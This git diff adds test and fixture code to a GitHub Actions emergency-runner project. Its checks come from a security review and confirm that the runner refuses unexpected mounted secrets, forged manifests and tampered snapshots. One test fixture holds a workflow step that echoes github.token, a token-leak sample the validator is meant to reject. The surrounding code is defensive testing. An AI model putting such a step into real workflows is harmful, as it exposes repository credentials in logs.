`${j.job}:${j.status}`).join(", "); + check("s16 (outcome=pass) succeeds through the real entrypoint, stream verified, exit 0", s.view.status === "success" && s.view.stream?.ok === true && s.exitCode === 0, `${s.view.status} exit ${s.exitCode} ${s.view.reason ?? ""} [${sj}]`); + checks.push({ name: `s16 jobs: ${sj}; steps: ${s.view.jobs.flatMap((j) => j.steps.map((x) => `${x.name}:${x.status}`)).join(" | ")}`, ok: true }); + } + return checks; +} + +if (process.argv[1] && fileURLToPath(import.meta.url) === process.argv[1]) { + const [mode, dir] = process.argv.slice(2); + if (mode === "prepare" && dir) await prepare(dir); + else if (mode === "judge" && dir) { + const checks = await judge(dir); + for (const c of checks) console.log(`${c.ok ? "PASS" : "FAIL"} ${c.name}${c.detail ? `\n ${c.detail}` : ""}`); + process.exitCode = checks.every((c) => c.ok) ? 0 : 1; + } else { + console.error("usage: runner-attack-check.ts prepare|judge "); + process.exitCode = 2; + } +} diff --git a/tools/emergency/runner-check.ts b/tools/emergency/runner-check.ts new file mode 100644 index 0000000..3e78a6f --- /dev/null +++ b/tools/emergency/runner-check.ts @@ -0,0 +1,173 @@ +// End-to-end check of the emergency runner on the demo pipeline, without Kubernetes or GitHub: prepare a snapshot +// (in-memory reader), store it like the executor does, run it with the runner engine, and assert on the events. +// Needs bash, python3 and node (the runner image has them). Used by tests (Linux) and run directly in the runner +// image with networking disabled: +// +// node tools/emergency/runner-check.ts prints a report; exit code 1 on any failed expectation +import { chmodSync, mkdirSync, mkdtempSync, readdirSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; +import { runSnapshot } from "../../deploy/emergency/runner/engine.ts"; +import { createStore } from "../../deploy/emergency/executor/store.ts"; +import { summarize, type ExecutionView, type RunnerEvent } from "../../src/emergency/events.ts"; +import { createMemoryReader, type MemoryRepo } from "../../src/emergency/memory-reader.ts"; +import { prepareSnapshot } from "../../src/emergency/prepare.ts"; +import { manifestDigest, toBase64 } from "../../src/emergency/snapshot.ts"; +import { DEMO_REPO, demoRepos } from "./demo-repos.ts"; + +export const SECRET = "demo-signing-key-7f3a91c2"; + +export type Scenario = { name: string; view: ExecutionView; events: RunnerEvent[]; result: string; failures: string[] }; + +async function execute(repoRoot: string, repos: Record, opts: { secret?: string; tamper?: boolean; inputs?: Record; extraSecrets?: Record; forgeStripErrors?: boolean }) { + const base = mkdtempSync(join(tmpdir(), "gha-emergency-")); + try { + const { manifest, contents } = await prepareSnapshot(createMemoryReader(repos), { repository: DEMO_REPO, ref: "main", workflows: [".github/workflows/release.yml"], name: "runner check", expiresInDays: 1 }); + const store = createStore(join(base, "data")); + let snapshotDir: string; + let digest: string; + if (opts.forgeStripErrors) { + // Security review H1, in depth: a forged manifest (errors stripped) written straight into storage, as a + // compromised executor could. The executor would refuse the upload; the runner must refuse it too. + const forged = { ...manifest, diagnostics: [] }; + digest = await manifestDigest(forged); + snapshotDir = join(store.dataDir, store.subPath(digest)); + mkdirSync(snapshotDir, { recursive: true }); + writeFileSync(join(snapshotDir, "manifest.json"), JSON.stringify(forged)); + for (const f of forged.files) { + const target = join(snapshotDir, "files", ...f.root.split("/"), ...f.path.split("/")); + mkdirSync(dirname(target), { recursive: true }); + writeFileSync(target, contents.get(f.sha256)!); + } + } else { + const bundle = { manifest, contents: Object.fromEntries([...contents].map(([k, v]) => [k, toBase64(v)])) }; + const { record, problems } = await store.put(bundle); + if (!record) throw new Error(`Store refused the snapshot: ${problems.map((p) => p.message).join("; ")}`); + snapshotDir = join(store.dataDir, store.subPath(record.id)); + digest = record.id; + } + if (opts.tamper) { + const target = join(snapshotDir, "files", "workspace", "scripts", "build.sh"); + chmodSync(join(snapshotDir, "files", "workspace", "scripts"), 0o755); + chmodSync(target, 0o644); + writeFileSync(target, "echo tampered\n"); + } + const secretsDir = join(base, "secrets"); + mkdirSync(secretsDir); + if (opts.secret !== undefined) writeFileSync(join(secretsDir, "DEMO_SIGNING_KEY"), opts.secret); + for (const [k, v] of Object.entries(opts.extraSecrets ?? {})) writeFileSync(join(secretsDir, k), v); + const events: RunnerEvent[] = []; + const result = await runSnapshot({ + snapshotDir, + workDir: join(base, "work"), + secretsDir, + execution: { id: "0123456789abcdef", workflow: ".github/workflows/release.yml", digest, inputs: opts.inputs ?? { version: "2.0.1" }, variables: {} }, + emit: (e) => events.push(JSON.parse(JSON.stringify(e)) as RunnerEvent), + maxMinutes: 5, + networkProbe: [], + }); + return { result, events, view: summarize(events) }; + } finally { + const unlock = (d: string) => { + try { + chmodSync(d, 0o755); + for (const e of readdirSync(d, { withFileTypes: true })) if (e.isDirectory()) unlock(join(d, e.name)); + } catch { + // best effort + } + }; + unlock(base); + rmSync(base, { recursive: true, force: true }); + } +} + +export async function runChecks(repoRoot: string): Promise { + const scenarios: Scenario[] = []; + const check = (s: Scenario, ok: boolean, what: string) => { + if (!ok) s.failures.push(what); + }; + + { + const r = await execute(repoRoot, demoRepos(repoRoot), { secret: SECRET }); + const s: Scenario = { name: "demo pipeline succeeds in dependency order", ...r, failures: [] }; + const jobs = s.view.jobs.map((j) => `${j.job}:${j.status}`); + check(s, s.result === "success", `result success (got ${s.result}: ${s.view.reason ?? ""})`); + check(s, JSON.stringify(jobs) === JSON.stringify(["prepare:success", "build:success", "build/compile:success", "build/package:success", "report:success"]), `job order and results (got ${jobs.join(", ")})`); + const compile = s.view.jobs.find((j) => j.job === "build/compile"); + check(s, compile?.steps.map((x) => x.status).join(",") === "success,success,success,success", `compile steps all succeed (got ${compile?.steps.map((x) => `${x.name}:${x.status}:${x.reason ?? ""}`).join(" | ")})`); + const stamp = s.view.jobs.find((j) => j.job === "build")?.outputs.stamp ?? ""; + check(s, /^2\.0\.1\+[0-9a-f]{12}$/.test(stamp), `reusable workflow output stamp (got ${stamp})`); + const checksum = s.view.jobs.find((j) => j.job === "build")?.outputs.checksum ?? ""; + check(s, /^[0-9a-f]{16}$/.test(checksum), `reusable workflow output checksum (got ${checksum})`); + const text = s.view.logs.map((l) => l.text).join("\n"); + check(s, text.includes("Stamped 2.0.1 as") && text.includes("Verified checksum") && text.includes("Compiled build/app.txt"), "logs from the JavaScript action and both scripts"); + check(s, s.view.annotations.some((a) => a.level === "notice" && a.message.includes("Built 2.0.1")), "notice annotation from the external action"); + check(s, text.includes(`version=2.0.1 checksum=${checksum} stamp=${stamp}`), "composite action used outputs of earlier jobs"); + check(s, !JSON.stringify(s.events).includes(SECRET), "secret value never appears in any event"); + scenarios.push(s); + } + { + const r = await execute(repoRoot, demoRepos(repoRoot), {}); + const s: Scenario = { name: "missing secret stops before any job", ...r, failures: [] }; + check(s, s.result === "failure" && /DEMO_SIGNING_KEY/.test(s.view.reason ?? "") && s.view.jobs.length === 0, `refused (got ${s.result}: ${s.view.reason})`); + scenarios.push(s); + } + { + // Security review C1, demonstrated attack: a key the snapshot never references was mounted next to the required + // one, and a step read it from /secrets. The runner now refuses before any job, and never emits the value. + const r = await execute(repoRoot, demoRepos(repoRoot), { secret: SECRET, extraSecrets: { OTHER_TEAM_TOKEN: "other-team-token-ZZZ" } }); + const s: Scenario = { name: "a mounted Secret key the snapshot doesn't require stops the run (review C1)", ...r, failures: [] }; + check(s, s.result === "failure" && s.view.jobs.length === 0, `refused before any job (got ${s.result}, ${s.view.jobs.length} jobs)`); + check(s, /OTHER_TEAM_TOKEN/.test(s.view.reason ?? "") && /does not require/.test(s.view.reason ?? ""), `reason names the unexpected key (got ${s.view.reason})`); + check(s, !JSON.stringify(s.events).includes("other-team-token-ZZZ") && !JSON.stringify(s.events).includes("ZZZ-nekot-maet-rehto"), "the unexpected key's value is never emitted"); + scenarios.push(s); + } + { + // A workflow the validator refuses (github.token), with its errors stripped from the manifest. + const repos = demoRepos(repoRoot); + repos[DEMO_REPO]!.files[".github/workflows/release.yml"] = "on: workflow_dispatch\njobs:\n j:\n runs-on: x\n steps:\n - run: echo leak ${{ github.token }}\n"; + const r = await execute(repoRoot, repos, { secret: SECRET, forgeStripErrors: true }); + const s: Scenario = { name: "a forged manifest written straight to storage is refused by the runner (review H1)", ...r, failures: [] }; + check(s, s.result === "failure" && s.view.jobs.length === 0, `refused before any job (got ${s.result}, ${s.view.jobs.length} jobs)`); + check(s, s.view.verified?.ok === false && (s.view.verified.problems.join(" ").includes("under-reports validation errors")), `verification names the under-reported errors (got ${JSON.stringify(s.view.verified)})`); + scenarios.push(s); + } + { + const r = await execute(repoRoot, demoRepos(repoRoot), { secret: SECRET, tamper: true }); + const s: Scenario = { name: "tampered snapshot is refused", ...r, failures: [] }; + check(s, s.result === "failure" && s.view.verified?.ok === false && s.view.jobs.length === 0, `verification failed (got ${JSON.stringify(s.view.verified)})`); + scenarios.push(s); + } + { + const repos = demoRepos(repoRoot); + repos[DEMO_REPO]!.files["scripts/verify.sh"] = "#!/usr/bin/env bash\necho '::error::verification failed on purpose'\nexit 3\n"; + const r = await execute(repoRoot, repos, { secret: SECRET }); + const s: Scenario = { name: "a failing step fails its job; dependents are skipped", ...r, failures: [] }; + const jobs = s.view.jobs.map((j) => `${j.job}:${j.status}`); + check(s, s.result === "failure", "result failure"); + check(s, JSON.stringify(jobs) === JSON.stringify(["prepare:success", "build:failure", "build/compile:success", "build/package:failure", "report:skipped"]), `job results (got ${jobs.join(", ")})`); + const verify = s.view.jobs.find((j) => j.job === "build/package")?.steps.at(-1); + check(s, verify?.exitCode === 3 && verify.status === "failure", `exit code 3 recorded (got ${verify?.exitCode})`); + scenarios.push(s); + } + return scenarios; +} + +if (process.argv[1] && fileURLToPath(import.meta.url) === process.argv[1]) { + const root = fileURLToPath(new URL("../..", import.meta.url)); + const scenarios = await runChecks(root); + let failed = 0; + for (const s of scenarios) { + console.log(`${s.failures.length ? "FAIL" : "PASS"} ${s.name} (result ${s.result})`); + for (const f of s.failures) console.log(` - ${f}`); + failed += s.failures.length; + } + const first = scenarios[0]!; + console.log("\nDemo run, jobs and steps in execution order:"); + for (const j of first.view.jobs) { + console.log(` ${j.job} [${j.status}]${Object.keys(j.outputs).length ? ` outputs=${JSON.stringify(j.outputs)}` : ""}`); + for (const st of j.steps) console.log(` ${st.step}. ${st.name} [${st.status}] exit=${st.exitCode ?? "-"}`); + } + process.exitCode = failed ? 1 : 0; +} diff --git a/tools/fixture-server/emergency-demo.ts b/tools/fixture-server/emergency-demo.ts new file mode 100644 index 0000000..7b39659 --- /dev/null +++ b/tools/fixture-server/emergency-demo.ts @@ -0,0 +1,116 @@ +// Fixture-mode GitHub for the emergency execution demo: serves examples/emergency-demo as the repository +// emergency-demo/release-pipeline (branch main) and examples/emergency-demo-shared-actions as demo-org/shared-actions +// (tag v1), through the read-only routes snapshot preparation uses. Blob and commit SHAs are computed like git's, so +// they change when the files change. Independent of the pinned fixture corpus. +import { createHash } from "node:crypto"; +import { readdirSync, readFileSync } from "node:fs"; +import { join } from "node:path"; + +type Repo = { fullName: string; refs: string[]; files: Map; blobs: Map; commit: string; treeSha: string; tree: { path: string; size: number; sha: string; executable: boolean }[] }; + +const blobSha = (data: Buffer) => createHash("sha1").update(`blob ${data.length}\0`).update(data).digest("hex"); + +/** git's tree ID for regular files: a synchronous twin of src/emergency/git-objects.ts gitTreeId (a test checks they agree). */ +export function treeShaSync(entries: { path: string; sha: string; executable: boolean }[]): string { + type Dir = { files: Map; dirs: Map }; + const root: Dir = { files: new Map(), dirs: new Map() }; + for (const e of entries) { + const parts = e.path.split("/"); + let d = root; + for (const p of parts.slice(0, -1)) { + if (!d.dirs.has(p)) d.dirs.set(p, { files: new Map(), dirs: new Map() }); + d = d.dirs.get(p)!; + } + d.files.set(parts.at(-1)!, e); + } + const hash = (d: Dir): string => { + const items = [ + ...[...d.files].map(([n, f]) => ({ key: n, bytes: Buffer.concat([Buffer.from(`${f.executable ? "100755" : "100644"} ${n}\0`), Buffer.from(f.sha, "hex")]) })), + ...[...d.dirs].map(([n, sub]) => ({ key: `${n}/`, bytes: Buffer.concat([Buffer.from(`40000 ${n}\0`), Buffer.from(hash(sub), "hex")]) })), + ].sort((a, b) => Buffer.compare(Buffer.from(a.key), Buffer.from(b.key))); + const body = Buffer.concat(items.map((i) => i.bytes)); + return createHash("sha1").update(`tree ${body.length}\0`).update(body).digest("hex"); + }; + return hash(root); +} + +function load(dir: string, fullName: string, refs: string[]): Repo { + const files = new Map(); + const walk = (abs: string, rel: string) => { + for (const e of readdirSync(abs, { withFileTypes: true })) { + const r = rel ? `${rel}/${e.name}` : e.name; + if (e.isDirectory()) walk(join(abs, e.name), r); + else if (e.isFile()) files.set(r, readFileSync(join(abs, e.name))); + } + }; + walk(dir, ""); + const tree = [...files.entries()].sort(([a], [b]) => a.localeCompare(b)).map(([path, data]) => ({ path, size: data.length, sha: blobSha(data), executable: path.endsWith(".sh") })); + const blobs = new Map(tree.map((t) => [t.sha, files.get(t.path)!])); + const commit = createHash("sha1").update(`${fullName}\n${tree.map((t) => `${t.path} ${t.sha}`).join("\n")}`).digest("hex"); + return { fullName, refs, files, blobs, commit, treeSha: treeShaSync(tree), tree }; +} + +export const EMERGENCY_DEMO_REPO = "emergency-demo/release-pipeline"; + +export function createEmergencyDemo(repoRoot: string) { + let repos: Map | undefined; + const all = () => + (repos ??= new Map( + [load(join(repoRoot, "examples/emergency-demo"), EMERGENCY_DEMO_REPO, ["main"]), load(join(repoRoot, "examples/emergency-demo-shared-actions"), "demo-org/shared-actions", ["v1", "main"])].map((r) => [ + r.fullName.toLowerCase(), + r, + ]), + )); + + /** Answers `/api/repos/{owner}/{repo}/…` for the demo repositories; undefined for anything else. */ + return function handle(path: string, url: URL): { status: number; body: unknown } | undefined { + const m = /^\/api\/repos\/([^/]+)\/([^/]+)(\/.*)?$/.exec(path); + if (!m) return undefined; + const repo = all().get(`${m[1]}/${m[2]}`.toLowerCase()); + if (!repo) return undefined; + // Fresh reads, so edits to examples/ show up without restarting the dev server. + repos = undefined; + const rest = m[3] ?? ""; + const notFound = { status: 404, body: { message: "Not Found" } }; + const [owner, name] = repo.fullName.split("/") as [string, string]; + if (rest === "") return { status: 200, body: { full_name: repo.fullName, name, owner: { login: owner }, private: false, default_branch: repo.refs[0], description: "Emergency execution demo (fixture)" } }; + const resolve = (ref: string) => { + const short = ref.replace(/^refs\/(?:heads|tags)\//, ""); + return short === repo.commit || repo.refs.includes(short) ? repo.commit : undefined; + }; + let x = /^\/commits\/([^/]+)$/.exec(rest); + if (x) { + const sha = resolve(decodeURIComponent(x[1]!)); + return sha ? { status: 200, body: { sha, commit: { message: "Emergency demo pipeline" } } } : { status: 422, body: { message: "No commit found for SHA" } }; + } + x = /^\/git\/trees\/([^/]+)$/.exec(rest); + if (x) { + if (resolve(x[1]!) !== repo.commit) return notFound; + return { status: 200, body: { sha: repo.treeSha, truncated: false, tree: repo.tree.map((t) => ({ path: t.path, mode: t.executable ? "100755" : "100644", type: "blob", size: t.size, sha: t.sha })) } }; + } + x = /^\/git\/commits\/([0-9a-f]{40})$/.exec(rest); + if (x) { + return x[1] === repo.commit ? { status: 200, body: { sha: repo.commit, tree: { sha: repo.treeSha }, message: "Emergency demo pipeline" } } : notFound; + } + x = /^\/git\/blobs\/([0-9a-f]{40})$/.exec(rest); + if (x) { + const data = repo.blobs.get(x[1]!); + return data ? { status: 200, body: { sha: x[1], size: data.length, encoding: "base64", content: data.toString("base64") } } : notFound; + } + x = /^\/contents\/(.+)$/.exec(rest); + if (x) { + if (resolve(url.searchParams.get("ref") ?? repo.refs[0]!) !== repo.commit) return notFound; + const p = decodeURIComponent(x[1]!); + const data = repo.files.get(p); + return data ? { status: 200, body: { type: "file", encoding: "base64", path: p, name: p.split("/").at(-1), content: data.toString("base64") } } : notFound; + } + if (rest === "/actions/workflows") { + const workflows = repo.tree + .filter((t) => /^\.github\/workflows\/[^/]+\.ya?ml$/.test(t.path)) + .map((t, i) => ({ id: 7700 + i, name: /^name:\s*(.+)$/m.exec(repo.files.get(t.path)!.toString("utf8"))?.[1]?.trim() ?? t.path, path: t.path, state: "active" })); + return { status: 200, body: { total_count: workflows.length, workflows } }; + } + if (rest.startsWith("/actions/runs")) return { status: 200, body: { total_count: 0, workflow_runs: [] } }; + return notFound; + }; +} diff --git a/tools/fixture-server/fixture-api.ts b/tools/fixture-server/fixture-api.ts index c52cf46..98bb7d0 100644 --- a/tools/fixture-server/fixture-api.ts +++ b/tools/fixture-server/fixture-api.ts @@ -13,6 +13,7 @@ import { parseLock } from "../fixtures/lockfile.ts"; import { SYNTHETIC_LARGE, syntheticJobs, syntheticLog, syntheticRun } from "./synthetic.ts"; import { EMPTY_REPO, LARGE_LOG_WORKFLOW, SYNTHETIC_OWNER, SYNTHETIC_REPO, largeLogRunExtras, syntheticArtifacts, syntheticDeployments, syntheticGraphRuns, syntheticReleases } from "./synthetic-graphs.ts"; import { ENTERPRISE_OWNER, ENTERPRISE_REPO, enterpriseRuns, gallery } from "./enterprise.ts"; +import { createEmergencyDemo } from "./emergency-demo.ts"; export const FIXTURE_PREFIX = "/__fixtures"; @@ -246,6 +247,7 @@ function paginate(items: T[], url: URL, origin: string): { page: T[]; link?: } export function createFixtureMiddleware(options: { repoRoot: string; lockPath: string }) { + const emergencyDemo = createEmergencyDemo(options.repoRoot); let state: { corpus: Corpus } | { error: string } | null = null; const decompressed = new Map(); @@ -278,6 +280,8 @@ export function createFixtureMiddleware(options: { repoRoot: string; lockPath: s const url = new URL(req.url ?? "/", "http://fixture.local"); if (!url.pathname.startsWith(FIXTURE_PREFIX + "/")) return next(); if (req.method !== "GET" && req.method !== "HEAD") return send(res, 405, { message: "Fixture API is read-only" }); + const demo = emergencyDemo(url.pathname.slice(FIXTURE_PREFIX.length), url); + if (demo) return send(res, demo.status, demo.body); const ready = init(); if ("error" in ready) return send(res, 503, { message: ready.error }); diff --git a/vite.config.ts b/vite.config.ts index 42faef5..ae62e7b 100644 --- a/vite.config.ts +++ b/vite.config.ts @@ -14,7 +14,13 @@ export default defineConfig(({ command, isPreview }) => { // Fixture mode is compiled in for the dev server and unit tests, and for an explicitly requested test build. // Ordinary production builds and ordinary `vite preview` have no fixture code and no fixture routes. const fixtures = (command === "serve" && !isPreview) || testBuild; + // Development only: forward the emergency API to a running executor (e.g. a kubectl port-forward), so the dev or + // test-build server can prepare from fixtures and run on a real cluster (docs/EMERGENCY_EXECUTION.md). Unset: no proxy. + const emergencyApi = process.env.GHA_EMERGENCY_API_PROXY; + const proxy = emergencyApi ? { "/api/emergency": { target: emergencyApi, changeOrigin: true } } : undefined; return { + server: { proxy }, + preview: { proxy }, // Builds reference their assets and the log worker relative to the page and the main chunk, so one build serves // from a host's root or under any path prefix (deploy/ui/server.mjs). Routes live in the URL hash. base: command === "build" ? "./" : "/",